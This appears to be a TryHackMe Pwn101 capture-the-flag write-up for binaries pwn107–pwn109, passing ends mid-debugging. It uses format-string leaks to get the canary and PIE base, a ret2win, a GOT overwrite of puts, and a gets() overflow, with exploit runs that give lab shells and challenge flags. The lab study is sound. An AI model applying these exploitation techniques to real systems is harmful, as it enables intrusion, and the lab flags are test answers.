└─$ file pwn107.pwn107         
pwn107.pwn107: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=0579b2a29d47165653fbb791fb528c59e951a1a0, not stripped

└─$ checksec pwn107.pwn107 
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

We’re working with a x64 binary which has all protections enabled

I’ll run it to know what it does

└─$ ./pwn107.pwn107 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107         

You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? 271
Thanks, Happy hacking!!
Your current streak: 271


[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩💻 - We miss you!😢
lol

From this we know that we have two options where it reads our input

I’ll decompile the binary using ghidra

Here’s the decompiled main function

void main(void)

{
  long in_FS_OFFSET;
  char streak [32];
  undefined input [24];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts(&DAT_00100c68);
  puts(&DAT_00100c88);
  puts("You mailed about this to THM, and they responsed back with some questions");
  puts("Answer those questions and get your streak back\n");
  printf("THM: What\'s your last streak? ");
  read(0,streak,0x14);
  printf("Thanks, Happy hacking!!\nYour current streak: ");
  printf(streak);
  puts("\n\n[Few days latter.... a notification pops up]\n");
  puts(&DAT_00100db8);
  read(0,input,0x200);
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

From this we know that:

1. It recieves our input using read and stores in steak buffer
2. It prints the value stored in streak
3. It recieves our input used read and stores in input buffer
4. It exits (ret)

Looking at the code there are two potential vulnerability

1. Format string vulnerability printf(streak);
2. Buffer overflow read(0,input,0x200);

Since the printf prints the content of the value stored in streak and doesn’t specify a format to be used we can leak address off the stack

Also the input buffer can only hold up to 24 bytes of data but we’re allowed to write 0x200 bytes leading to a buffer overflow

There’s also another function get_streak() which gives us a shell

void get_streak(void)

{
  long in_FS_OFFSET;
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  puts("This your last streak back, don\'t do this mistake again");
  system("/bin/sh");
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

With this we know that we can overflow the buffer and overwrite rip to call get_streak(), but this binary has mitigations enabled

└─$ checksec pwn107.pwn107 
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Here’s what each does

1. RELRO: Prevents GOT overwrite
2. Stack: Prevents stack overflow
3. NX: Prevents shellcode injection to the stack and execution
4. PIE: Randomize address

So here’s the methodology i’ll follow to pwn this binary

1. Get piebase address
2. Leak stack canary address
3. Perform Ret2Win

Because PIE is enabled the addresses will be randomize

So i’ll need to leak it to get the offset of the addresses

To leak piebase address i’ll fuzz for values on the stack which has a constant values

But before i do that i’ll need to disable ASLR ( Address Space Layout Randomization ) because it works with PIE to randomize addresses

└─$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
[sudo] password for mark: 
0

Here’s the solve script FUZZ

Eventually i got an address which doesn’t change when the program runs each time and its the 17th element of the stack

└─$ python3 fuzz.py  
17: b'0x555555400992\n'
                                                                                                        
┌──(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn107]
└─$ python3 fuzz.py
17: b'0x555555400992\n'

Now i’ll need to calculate the piebase address and i’ll use gdb-pwndgb for it

└─$ gdb-pwndbg -q pwn107.pwn107
Reading symbols from pwn107.pwn107...
(No debugging symbols found in pwn107.pwn107)
pwndbg: loaded 138 pwndbg commands and 43 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
The set show-flags on setting will display CPU flags register in the regs context panel
pwndbg> break main
Breakpoint 1 at 0x996
pwndbg> r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555400996 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX  0x555555400992 (main) ◂— push rbp
*RBX  0x7fffffffdfb8 —▸ 0x7fffffffe306 ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*RCX  0x7ffff7f9b820 (__exit_funcs) —▸ 0x7ffff7f9d2e0 (initial) ◂— 0x0
*RDX  0x7fffffffdfc8 —▸ 0x7fffffffe33d ◂— 0x5245545f5353454c ('LESS_TER')
*RDI  0x1
*RSI  0x7fffffffdfb8 —▸ 0x7fffffffe306 ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*R8   0x555555400b00 (__libc_csu_fini) ◂— ret 
*R9   0x7ffff7fcf6a0 (_dl_fini) ◂— push rbp
*R10  0x7ffff7fcb878 ◂— 0xc00120000000e
*R11  0x7ffff7fe18c0 (_dl_audit_preinit) ◂— mov eax, dword ptr [rip + 0x1b552]
 R12  0x0
*R13  0x7fffffffdfc8 —▸ 0x7fffffffe33d ◂— 0x5245545f5353454c ('LESS_TER')
 R14  0x0
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
*RBP  0x7fffffffdea0 ◂— 0x1
*RSP  0x7fffffffdea0 ◂— 0x1
*RIP  0x555555400996 (main+4) ◂— sub rsp, 0x40
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
 ► 0x555555400996 <main+4>     sub    rsp, 0x40
   0x55555540099a <main+8>     mov    rax, qword ptr fs:[0x28]
   0x5555554009a3 <main+17>    mov    qword ptr [rbp - 8], rax
   0x5555554009a7 <main+21>    xor    eax, eax
   0x5555554009a9 <main+23>    mov    eax, 0
   0x5555554009ae <main+28>    call   setup                <setup>
 
   0x5555554009b3 <main+33>    mov    eax, 0
   0x5555554009b8 <main+38>    call   banner                <banner>
 
   0x5555554009bd <main+43>    lea    rdi, [rip + 0x2a4]
   0x5555554009c4 <main+50>    call   puts@plt                <puts@plt>
 
   0x5555554009c9 <main+55>    lea    rdi, [rip + 0x2b8]
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rbp rsp 0x7fffffffdea0 ◂— 0x1
01:0008│         0x7fffffffdea8 —▸ 0x7ffff7df018a (__libc_start_call_main+122) ◂— mov edi, eax
02:0010│         0x7fffffffdeb0 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfa8 ◂— 0x38 /* '8' */
03:0018│         0x7fffffffdeb8 —▸ 0x555555400992 (main) ◂— push rbp
04:0020│         0x7fffffffdec0 ◂— 0x155400040 /* '@' */
05:0028│         0x7fffffffdec8 —▸ 0x7fffffffdfb8 —▸ 0x7fffffffe306 ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
06:0030│         0x7fffffffded0 —▸ 0x7fffffffdfb8 —▸ 0x7fffffffe306 ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
07:0038│         0x7fffffffded8 ◂— 0x521dd9f736185b23
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0   0x555555400996 main+4
   f 1   0x7ffff7df018a __libc_start_call_main+122
   f 2   0x7ffff7df0245 __libc_start_main+133
   f 3   0x5555554007aa _start+42
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> piebase
Calculated VA from /home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107 = 0x555555400000
pwndbg> 

I’ll set a breakpoint after the leaked address (read call)

 0x0000000000000a69 <+215>:   call   0x750 <read@plt>
 pwndbg> breakrva 0xa69
Breakpoint 2 at 0x555555400a69
pwndbg> c
Continuing.
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 107         

You are a good THM player 😎
But yesterday you lost your streak 🙁
You mailed about this to THM, and they responsed back with some questions
Answer those questions and get your streak back

THM: What's your last streak? lol
Thanks, Happy hacking!!
Your current streak: lol


[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩💻 - We miss you!😢

Breakpoint 2, 0x0000555555400a69 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX  0x0
 RBX  0x7fffffffdfb8 —▸ 0x7fffffffe306 ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn107/pwn107.pwn107'
*RCX  0x7ffff7ec1190 (write+16) ◂— cmp rax, -0x1000 /* 'H=' */
*RDX  0x200
*RDI  0x0
*RSI  0x7fffffffde80 ◂— 0x0
 R8   0x555555400b00 (__libc_csu_fini) ◂— ret 
 R9   0x7ffff7fcf6a0 (_dl_fini) ◂— push rbp
 R10  0x7ffff7fcb878 ◂— 0xc00120000000e
*R11  0x202
 R12  0x0
 R13  0x7fffffffdfc8 —▸ 0x7fffffffe33d ◂— 0x5245545f5353454c ('LESS_TER')
 R14  0x0
 R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 —▸ 0x555555400000 ◂— jg 0x555555400047
 RBP  0x7fffffffdea0 ◂— 0x1
*RSP  0x7fffffffde60 ◂— 0xa6c6f6c /* 'lol\n' */
*RIP  0x555555400a69 (main+215) ◂— call 0x555555400750
──────────────────────────────────[ DISASM / x86-64 / set emulate on ]──────────────────────────────────
 ► 0x555555400a69 <main+215>           call   read@plt                <read@plt>
        fd: 0x0 (/dev/pts/2)
        buf: 0x7fffffffde80 ◂— 0x0
        nbytes: 0x200
 
   0x555555400a6e <main+220>           nop    
   0x555555400a6f <main+221>           mov    rax, qword ptr [rbp - 8]
   0x555555400a73 <main+225>           xor    rax, qword ptr fs:[0x28]
   0x555555400a7c <main+234>           je     main+241                <main+241>
 
   0x555555400a7e <main+236>           call   __stack_chk_fail@plt                <__stack_chk_fail@plt>
 
   0x555555400a83 <main+241>           leave  
   0x555555400a84 <main+242>           ret    
 
   0x555555400a85                      nop    word ptr cs:[rax + rax]
   0x555555400a8f                      nop    
   0x555555400a90 <__libc_csu_init>    push   r15
───────────────────────────────────────────────[ STACK ]────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffde60 ◂— 0xa6c6f6c /* 'lol\n' */
01:0008│     0x7fffffffde68 ◂— 0x0
... ↓        3 skipped
05:0028│     0x7fffffffde88 —▸ 0x7ffff7fe6e10 (dl_main) ◂— push rbp
06:0030│     0x7fffffffde90 ◂— 0x0
07:0038│     0x7fffffffde98 ◂— 0xde96d2eee6ebeb00
─────────────────────────────────────────────[ BACKTRACE ]──────────────────────────────────────────────
 ► f 0   0x555555400a69 main+215
   f 1   0x7ffff7df018a __libc_start_call_main+122
   f 2   0x7ffff7df0245 __libc_start_main+133
   f 3   0x5555554007aa _start+42
────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg>

With this i’ll get the value of what the leaked address is

pwndbg> x 0x555555400992
0x555555400992 <main>:  0xe5894855
pwndbg> x 0x555555400992 - 0x555555400000
0x992:  Cannot access memory at address 0x992
pwndbg>

So with this we know that the offset of the piebase address is 0x992

Next thing is to leak the stack canary address

And stack canary address ends with 00 making it not difficult to be known

Using the fuzzing script i’ll get the offset where the stack canary is

But i already got it to know that its at offset 13

└─$ python3 fuzz.py                         
13: b'0xd6b190b256ee5f00\n'

From here I’ll make a script which will do this:

1. Use format string vuln to leak the pie & canary address
2. Strip out those addresss 
3. Overflow rip to call the shel func
4. Make sure to overflow the canary to its value

Here’s the local solve script Local_exploit

Running it locally works

└─$ python3 exploit.py
[+] Starting local process './pwn107.pwn107': pid 180823
[*] Canary address: 0xdf4535f29136bb00
[*] Leaked Pie address: 0x555555400992
[*] Piebase address: 0x555555400000
[*] Switching to interactive mode


[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩💻 - We miss you!😢
This your last streak back, don't do this mistake again
$ ls -al
total 36
drwxr-xr-x  2 mark mark  4096 Feb 17 13:17 .
drwxr-xr-x 10 mark mark  4096 Feb 16 17:27 ..
-rw-r--r--  1 mark mark  1700 Feb 17 13:16 exploit.py
-rw-r--r--  1 mark mark  1403 Feb 17 03:13 fuzz.py
-rw-------  1 mark mark   453 Feb 16 17:33 .gdb_history
-rwxr-xr-x  1 mark mark 12848 Feb 15 22:17 pwn107.pwn107
$ 

But if we run it on the remote server it will fail the reason is because the remote pie base offset is different

So i’ll need to fuzz for the value of the remote server pie address that won’t change on each process or the last offset are the same.

Using the fuzzing script i fuzzed for values on the remote server and the offset 18 seemed to work fine

└─$ python3 fuzz.py REMOTE 10.10.253.82 9007
19: b'0x55c3b7697992\n'
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn107]
└─$ python3 fuzz.py REMOTE 10.10.253.82 9007
19: b'0x55be79219992\n'

So i’ll add that to my exploit script i.e offset 19

Solve script available here Exploit

└─$ python3 exploit.py REMOTE 10.10.253.82 9007 
[+] Opening connection to 10.10.253.82 on port 9007: Done
[*] Canary address: 0x6a75b56d2d5f0400
[*] Leaked Pie address: 0x55b4b919c992
[*] Piebase address: 0x55b4b919c000
[*] Switching to interactive mode

[Few days latter.... a notification pops up]

Hi pwner 👾, keep hacking👩💻 - We miss you!😢
This your last streak back, don't do this mistake again
$ ls -al
total 48
drwx------  3 pwn107 pwn107  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn107 pwn107     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn107 pwn107   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn107 pwn107  3771 Apr  4  2018 .bashrc
drwxrwxr-x  3 pwn107 pwn107  4096 Feb  8  2022 .local
-rw-r--r--  1 pwn107 pwn107   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn107 pwn107    42 Jan 28  2022 flag.txt
-rwxrwxr-x  1 pwn107 pwn107 12848 Feb  8  2022 pwn107
-rwxrwxrwx  1 pwn107 pwn107  1266 Feb  8  2022 pwn107.c
$ cat flag.txt
THM{whY_i_us3d_pr1ntF()_w1thoUt_fmting??}
$

Challenge 8 = PWN108

Basic File Checks

└─$ file pwn108.pwn108
pwn108.pwn108: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=b1c32d1f20d6d8017146d21dfcfc4da79a8762d8, for GNU/Linux 3.2.0, not stripped
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn108]
└─$ checksec pwn108.pwn108
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn108/pwn108.pwn108'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

From this we know that we’re working with a x64 binary and the protections enabled are just Stack Canary and NX

I’ll run it to know what it does

└─$ ./pwn108.pwn108 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 108          

      THM University 📚
👨🎓 Student login portal 👩🎓

=[Your name]: pwner
=[Your Reg No]: 1

=[ STUDENT PROFILE ]=
Name         : pwner
Register no  : 1
Institue     : THM
Branch       : B.E (Binary Exploitation)


                    =[ EXAM SCHEDULE ]=                  
 --------------------------------------------------------
|  Date     |           Exam               |    FN/AN    |
|--------------------------------------------------------
| 1/2/2022  |  PROGRAMMING IN ASSEMBLY     |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  DATA STRUCTURES             |     FN      |
|--------------------------------------------------------
| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |
|--------------------------------------------------------
| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |
 --------------------------------------------------------

We see that after it prints the banner it then recieves our input and prints our input

Using ghidra i’ll decompile the binary

Here’s the main function

void main(void)

{
  long in_FS_OFFSET;
  undefined name [32];
  char input [104];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts(&DAT_00402177);
  puts(&DAT_00402198);
  printf("\n=[Your name]: ");
  read(0,name,0x12);
  printf("=[Your Reg No]: ");
  read(0,input,100);
  puts("\n=[ STUDENT PROFILE ]=");
  printf("Name         : %s",name);
  printf("Register no  : ");
  printf(input);
  printf("Institue     : THM");
  puts("\nBranch       : B.E (Binary Exploitation)\n");
  puts(
      "\n                    =[ EXAM SCHEDULE ]=                  \n ------------------------------- -------------------------\n|  Date     |           Exam               |    FN/AN    |\n|------ --------------------------------------------------\n| 1/2/2022  |  PROGRAMMING IN ASSEMBLY      |     FN      |\n|--------------------------------------------------------\n| 3/2/2022  |  DA TA STRUCTURES             |     FN      |\n|-------------------------------------------------- ------\n| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |\n|------------------------- -------------------------------\n| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |\n  --------------------------------------------------------"
      );
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Here’s what it does

1. After it prints the banner it recieves our name using read which is then stored in the name buffer
2. It then receives reg number which is stored in input buffer
3. After that is done it prints out the content of the value in name and input

Looking at the code we see that the vulnerability is that after it receives the second input it prints the value out without specifying a format to be used

Therefore is a format string vulnerability

The program has another function called holidays()

void holidays(void)

{
  long in_FS_OFFSET;
  undefined4 local_16;
  undefined2 local_12;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_16 = 0x6d617865;
  local_12 = 0x73;
  printf(&DAT_00402120,&local_16);
  system("/bin/sh");
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

And from that it will give a bash shell

With this information we have we know that the aim is to call the holiday function but there’s no buffer overflow present in this program

What we can leverage is a GOT overwrite because we know that RELRO is partial meaning we can overwrite address in GOT using the format string vulnerability

└─$ checksec pwn108.pwn108
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn108/pwn108.pwn108'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

To exploit this i’ll need to get the address our input is stored on the stack

I use a script to fuzz the values to get the offset

Fuzz script available here Fuzz

Running it shows that the offset is 10 cause thats where AAAA is which is in hex 0x41414141

-─$ python3 fuzz.py
1: b'AAAA0x7ffdd688e1f0\n'
2: b'AAAA(nil)\n'
3: b'AAAA(nil)\n'
4: b'AAAA0x401450\n'
5: b'AAAA0x73\n'
6: b'AAAA0xa72656e7750\n'
7: b'AAAA(nil)\n'
8: b'AAAA(nil)\n'
9: b'AAAA(nil)\n'
10: b'AAAA0x2430312541414141\n'
11: b'AAAA0xa70\n'
12: b'AAAA0x40\n'
13: b'AAAA(nil)\n'
14: b'AAAA(nil)\n'
15: b'AAAA(nil)\n'
16: b'AAAA(nil)\n'
17: b'AAAA(nil)\n'
18: b'AAAA(nil)\n'
19: b'AAAA(nil)\n'

With this what i’ll do is to find a function thats in put to overwrite

Looking at the decompiled code we can leverage the puts() calls since it doesn’t really do anything

void main(void)

{
  long in_FS_OFFSET;
  undefined name [32];
  char input [104];
  long canary;
  
  canary = *(long *)(in_FS_OFFSET + 0x28);
  setup();
  banner();
  puts(&DAT_00402177);
  puts(&DAT_00402198);
  printf("\n=[Your name]: ");
  read(0,name,0x12);
  printf("=[Your Reg No]: ");
  read(0,input,100);
  puts("\n=[ STUDENT PROFILE ]=");
  printf("Name         : %s",name);
  printf("Register no  : ");
  printf(input);
  printf("Institue     : THM");
  puts("\nBranch       : B.E (Binary Exploitation)\n");
  puts(
      "\n                    =[ EXAM SCHEDULE ]=                  \n ------------------------------- -------------------------\n|  Date     |           Exam               |    FN/AN    |\n|------ --------------------------------------------------\n| 1/2/2022  |  PROGRAMMING IN ASSEMBLY      |     FN      |\n|--------------------------------------------------------\n| 3/2/2022  |  DA TA STRUCTURES             |     FN      |\n|-------------------------------------------------- ------\n| 3/2/2022  |  RETURN ORIENTED PROGRAMMING |     AN      |\n|------------------------- -------------------------------\n| 7/2/2022  |  SCRIPTING WITH PYTHON       |     FN      |\n  --------------------------------------------------------"
      );
  if (canary != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

Here’s the solve script Exploit

Running it locally works

└─$ python3 exploit.py
[+] Starting local process './pwn108.pwn108': pid 12325
[*] Format string offset 0xa
[*] Address to overwrite (elf.got.puts): 0x404018
[*] Address to write func() shell: 0x40123b
[*] Switching to interactive mode
 
=[ STUDENT PROFILE ]=
Name         : Pwner
Register no  :                                                           \xa0    \x00                                                                                                                                                                                                                \x00aaabaa\x18@Institue     : THM
No more exams for you enjoy your holidays 🎉
And here is a small gift for you
$ ls -al
total 36
drwxr-xr-x  2 mark mark  4096 Feb 16 19:10 .
drwxr-xr-x 10 mark mark  4096 Feb 16 17:27 ..
-rw-r--r--  1 mark mark  1299 Feb 16 19:10 exploit.py
-rw-r--r--  1 mark mark  1495 Feb 16 19:00 fuzz.py
-rwx--x--x  1 mark mark 16432 Feb 16 17:27 pwn108.pwn108
$ 

Now i’ll run it on the remote server

└─$ python3 exploit.py REMOTE 10.10.29.239 9008
[+] Opening connection to 10.10.29.239 on port 9008: Done
[*] Format string offset 0xa
[*] Address to overwrite (elf.got.puts): 0x404018
[*] Address to write func() shell: 0x40123b
[*] Switching to interactive mode
 
=[ STUDENT PROFILE ]=
Name         : Pwner
Register no  :                                                           \xa0    \xc0                                                                                                                                                                                                                 \x00aaabaa\x18@Institue     : THM
No more exams for you enjoy your holidays 🎉
And here is a small gift for you
$ ls -al
total 48
drwx------  2 pwn108 pwn108  4096 Feb  8  2022 .
drwxr-xr-x 12 root   root    4096 Feb  8  2022 ..
lrwxrwxrwx  1 pwn108 pwn108     9 Feb  8  2022 .bash_history -> /dev/null
-rw-r--r--  1 pwn108 pwn108   220 Apr  4  2018 .bash_logout
-rw-r--r--  1 pwn108 pwn108  3771 Apr  4  2018 .bashrc
-rw-r--r--  1 pwn108 pwn108   807 Apr  4  2018 .profile
-rwxrwxrwx  1 pwn108 pwn108    26 Jan 28  2022 flag.txt
-rwxrwxrwx  1 pwn108 pwn108 16432 Jan 28  2022 pwn108
-rwxrwxrwx  1 pwn108 pwn108  1986 Jan 28  2022 pwn108.c
$ cat flag.txt
THM{7urN3d_puts_in70_win}
$ 

Challenge 9 = PWN109

Basic File Checks

└─$ file pwn109.pwn109 
pwn109.pwn109: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7a64987fd8eb1e96bd9178b4453cd80e78cbe0bb, for GNU/Linux 3.2.0, not stripped
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn109]
└─$ checksec pwn109.pwn109    
[*] '/home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

We’re working with a x64 binary which is dynamically linked and not stripped

From the protection we see that only NX is enabled

I’ll run it to know what it does

└─$ ./pwn109.pwn109 
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109          

This time no 🗑 🤫 & 🐈🚩.📄 Go ahead 😏
lol

It just takes in our input and exits

Using ghidra i’ll decompile the binary

Here’s the decompiled main function

void main(void)

{
  char local_28 [32];
  
  setup();
  banner();
  puts(&DAT_00402120);
  gets(local_28);
  return;
}

From the code it just prints the banner out then use gets() to receive our input

We know that the usage of get() in a program is going to be vulnerable to buffer overflow

From the previous challenges there were function which gave us shell but this time around no function and also since NX is enabled we can’t do shellcode injection

Now since this binary is dynamically linked it will get its function name from our libc library

Searching the got.plt section on ghidra we get all calls the binary makes from the GOT (Global Offset Table)

                             //
                             // .got.plt 
                             // SHT_PROGBITS  [0x404000 - 0x40402f]
                             // ram:00404000-ram:0040402f
                             //
                             __DT_PLTGOT                                     XREF[2]:     00403ef8(*), 
                             _GLOBAL_OFFSET_TABLE_                                        _elfSectionHeaders::00000610(*)  
        00404000 20 3e 40        addr       _DYNAMIC
                 00 00 00 
                 00 00
                             PTR_00404008                                    XREF[1]:     FUN_00401020:00401020(R)  
        00404008 00 00 00        addr       00000000
                 00 00 00 
                 00 00
                             PTR_00404010                                    XREF[1]:     FUN_00401020:00401026  
        00404010 00 00 00        addr       00000000
                 00 00 00 
                 00 00
                             PTR_puts_00404018                               XREF[1]:     puts:00401064  
        00404018 00 50 40        addr       <EXTERNAL>::puts                                 = ??
                 00 00 00 
                 00 00
                             PTR_gets_00404020                               XREF[1]:     gets:00401074  
        00404020 18 50 40        addr       <EXTERNAL>::gets                                 = ??
                 00 00 00 
                 00 00
                             PTR_setvbuf_00404028                            XREF[1]:     setvbuf:00401084  
        00404028 20 50 40        addr       <EXTERNAL>::setvbuf                              = ??
                 00 00 00 
                 00 00

The GOT is a massive table of addresses; these addresses are the actual locations in memory of the libc functions. puts@got, for example, will contain the address of puts in memory. When the PLT (Procedure Linkage Table) gets called, it reads the GOT address and redirects execution there. If the address is empty, it coordinates with the ld.so (also called the dynamic linker/loader) to get the function address and stores it in the GOT.

With this we can leak the address of puts@plt which will also still call puts, calculate the libc base address then perform a ret2libc attack

For this attack i’ll get the offset first

└─$ cyclic 100    
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
                                                                                                        
┌──(venv)─(mark㉿haxor)-[~/…/B2B/THM/Pwn101/pwn109]
└─$ gdb-pwndbg pwn109.pwn109 
Reading symbols from pwn109.pwn109...
pwndbg: loaded 138 pwndbg commands and 48 shell commands. Type pwndbg [--shell | --all] [filter] for a list.
pwndbg: created $rebase, $ida GDB functions (can be used with print/break)
------- tip of the day (disable with set show-tips off) -------
Use the errno (or errno <number>) command to see the name of the last or provided (libc) error
pwndbg> r
Starting program: /home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
       ┌┬┐┬─┐┬ ┬┬ ┬┌─┐┌─┐┬┌─┌┬┐┌─┐
        │ ├┬┘└┬┘├─┤├─┤│  ├┴┐│││├┤ 
        ┴ ┴└─ ┴ ┴ ┴┴ ┴└─┘┴ ┴┴ ┴└─┘
                 pwn 109          

This time no 🗑 🤫 & 🐈🚩.📄 Go ahead 😏
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x0000000000401231 in main ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]─────────────────────────
*RAX  0x7fffffffde10 ◂— 'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*RBX  0x7fffffffdf48 —▸ 0x7fffffffe2ac ◂— '/home/mark/Desktop/B2B/THM/Pwn101/pwn109/pwn109.pwn109'
*RCX  0x7ffff7f9ba80 (_IO_2_1_stdin_) ◂— 0xfbad208b
*RDX  0x1
*RDI  0x7ffff7f9da20 (_IO_stdfile_0_lock) ◂— 0x0
*RSI  0x1
 R8   0x0
 R9   0x0
*R10  0x7ffff7dd62a8 ◂— 0x100022000043f9
*R11  0x246
 R12  0x0
*R13  0x7fffffffdf58 —▸ 0x7fffffffe2e3 ◂— 0x5245545f5353454c ('LESS_TER')
 R14  0x0
*R15  0x7ffff7ffd020 (_rtld_global) —▸ 0x7ffff7ffe2e0 ◂— 0x0
*RBP  0x6161616a61616169 ('iaaajaaa')
*RSP  0x7fffffffde38 ◂— 'kaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa'
*RIP  0x401231 (main+63) ◂— ret 
